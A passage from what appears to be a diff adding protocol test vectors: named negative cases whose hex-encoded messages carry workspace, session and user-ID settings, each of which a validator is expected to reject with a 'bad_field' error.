"574d583101010000030000006d0200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473222c22646178223a66616c73657d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-equals-runtime-uid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32303030302c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-equals-tool-uid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32303030312c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-equals-gid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32353030302c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-nobody", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a36353533342c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-missing", + "direction": "down", + "hex": "574d58310101000004000000650600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-continuation-unknown", + "direction": "down", + "hex": "574d58310101000004000000750600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22666f726b222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-continuation-missing", + "direction": "down", + "hex": "574d583101010000040000005f0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-fresh-with-ended-boots", + "direction": "down", + "hex": "574d583101010000040000009c0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boots-include-the-live-boot", + "direction": "down", + "hex": "574d583101010000040000009d0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e6469